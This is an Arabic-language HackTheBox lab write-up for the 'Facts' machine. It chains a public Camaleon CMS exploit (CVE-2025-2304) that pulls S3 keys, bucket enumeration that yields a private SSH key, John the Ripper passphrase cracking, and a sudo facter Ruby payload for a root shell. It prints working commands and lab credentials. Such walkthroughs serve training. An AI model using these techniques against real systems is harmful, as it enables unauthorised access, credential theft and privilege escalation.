
HackTheBox — Facts (سهل/Linux) | CVE-2025-2304 + AWS S3 + مفتاح SSH + تصعيد الامتيازات عبر Facter
Facts جهاز Easy Linux يتطلب استغلال ثغرة معروفة
(CVE-2025-2304) في Camaleon CMS لاستخراج بيانات اعتماد AWS S3 المحلية.
يكشف تعداد دلاء S3 الداخلية عن مفتاح SSH خاص يجب كسره باستخدام John the Ripper للحصول على وصول أولي.
يتم تحقيق تصعيد الامتيازات عبر استغلال خطأ في إعداد sudo على /usr/bin/facter، مما يسمح بتنفيذ كود Ruby مخصص للحصول على صلاحيات الجذر (root).
سلسلة الهجوم: Nmap → Camaleon CMS (CVE-2025-2304) → تعداد دلاء S3 → كسر مفتاح SSH → sudo facter → Root
لنبدأ بفحص Nmap لتحديد الخدمات النشطة على الجهاز الهدف. Bash
nmap -sV -sC -oN nmap_facts 10.129.244.96
النتائج:
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.26.3 (Ubuntu) |_http-title: facts |_http-server-header: nginx/1.26.3 (Ubuntu)

يكشف Nmap عن منفذين مفتوحين: 22 (SSH) و80 (HTTP). يعتمد خادم الويب على Nginx. قبل أن نتمكن من التعامل مع الموقع بشكل صحيح، يجب إضافة المضيف facts.htb إلى ملف /etc/hosts لدينا.
echo “10.129.244.96 facts.htb” | sudo tee -a /etc/hosts
عند زيارة الموقع على المنفذ 80، تظهر لنا صفحة ويب عادية. لاكتشاف المسارات المخفية، نطلق هجوم تخمين مسارات (على سبيل المثال، باستخدام ffuf أو gobuster).
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://facts.htb/FUZZ
يكشف التعداد عن عدة أدلة مثيرة للاهتمام تتعلق بلوحة الإدارة (/admin, /admin.php, etc.), وكلها تعيد توجيه برمز حالة 302 إلى http://facts.htb/admin/login.

من خلال زيارة صفحة تسجيل الدخول والمصادقة (أو النظر إلى تذييل اللوحة)، نكتشف التقنية التي يعمل بها الموقع: Camaleon CMS.
تفاصيل مهمة تلفت انتباهنا في الزاوية السفلية اليمنى: إصدار النظام هو 2.9.0.

بمعرفتنا أن الخادم يعمل بنظام Camaleon CMS 2.9.0، يؤدي بحث سريع عبر الإنترنت إلى اكتشاف ثغرة حرجة تُعرف باسم CVE-2025-2304، والتي تسمح بـتصعيد الامتيازات من مستخدم مصادق إلى مسؤول.
نجد استغلالًا عامًا على GitHub (من إنشاء Alien0ne) ونقوم بتنزيله على جهاز المهاجم.

نطلق الاستغلال بتمرير بيانات الاعتماد بحوزتنا (e.g., mattia:mattia) لرفع صلاحياتنا إلى مسؤول، واستخراج المعلومات الحساسة، ثم العودة إلى الدور الأصلي لعدم ترك آثار واضحة.
python3 exploit.py -u http://facts.htb -U mattia -P mattia --newpass mattia -e -r
مخرجات الاستغلال كنز ثمين: تمكننا من استخراج بيانات اعتماد AWS S3 المحلية ونقطة النهاية الداخلية التي يستخدمها الخادم.
S3 Access Key: AKIAA103ACAA5953D888
S3 Secret Key: ELsaDX4pIZYwPJf+dVdUuoHtkwGsRPvKIGCmDfiR
S3 Endpoint: http://localhost:54321 (والذي يصبح http://facts.htb:54321 بالنسبة لنا)

باستخدام هذه المفاتيح، يمكننا تكوين واجهة AWS CLI المحلية للتفاعل مع خدمة S3 المكشوفة على الجهاز.
aws configure
# أدخل مفتاح الوصول والمفتاح السري اللذين وجدناهما للتو
# المنطقة الافتراضية: us
# تنسيق الإخراج الافتراضي: json
الآن يمكننا سرد الدلاء المتاحة عن طريق تمرير عنوان نقطة النهاية المخصص:
aws --endpoint-url http://facts.htb:54321 s3 ls
نجد دلاءين: internal وrandomfacts. من خلال استكشاف دلو internal بشكل متكرر، نكتشف مجلد .ssh يحتوي على مفاتيح!
aws --endpoint-url http://facts.htb:54321 s3 ls s3://internal/.ssh/ --recursive
لنقم بتنزيل ملف id_ed25519 (مفتاح SSH الخاص) إلى جهازنا.
لدينا المفتاح الخاص، لكنه محمي بعبارة مرور. لكسرها، سنستخدم مجموعة أدوات John the Ripper. أولاً، سنحول المفتاح إلى صيغة يمكن لجون قراءتها باستخدام ssh2john:
ssh2john id_ed25519 > hash.txt
بعد ذلك، نطلق هجوم القاموس (باستخدام قائمة الكلمات المخصصة my_guess.txt أو القائمة الكلاسيكية rockyou.txt):
john --wordlist=my_guess.txt hash.txt
تم كسر كلمة المرور بنجاح: dragonballz. الآن لدينا كل ما نحتاجه للوصول إلى الخادم!

الآن بعد أن أصبح لدينا كل ما نحتاجه، يمكننا الاستفادة من المنفذ المفتوح الثاني الذي وجدناه سابقًا: منفذ SSH (22).
ssh -i id_ed25519 [email protected]
سنستخدم كلمة المرور التي وجدناها سابقًا: dragonballz. لقد دخلنا!
الآن نحتاج إلى معرفة المسار الذي يمكننا استغلاله للحصول على صلاحيات root، لذا سنستخدم sudo -l.
المسار:
/usr/bin/facter
لاستغلال هذا المسار، سنستخدم سكربتًا صغيرًا:
echo 'Facter.add(:pwn) do
setcode do
exec (“/bin/bash -p”)
end
end' > /tmp/pwn.rb
ثم نقوم بتشغيله:
sudo /usr/bin/facter --custom-dir=/tmp pwn

نحن الآن root رسميًا!!!
كل ما تبقى هو العثور على العلمين :)

NMAP — تم اكتشاف منفذين (22, 80) ↓ تعداد الويب — العثور على قسم الإدارة ↓ Camaleon CMS -> CVE-2025-2304 ↓ الاستغلال + إعدادات AWS ↓ John the ripper لكسر الهاش ↓ تسجيل الدخول عبر SSH ↓ Sudo -l ↓ سكربت + تنفيذ ↓ ROOT ✅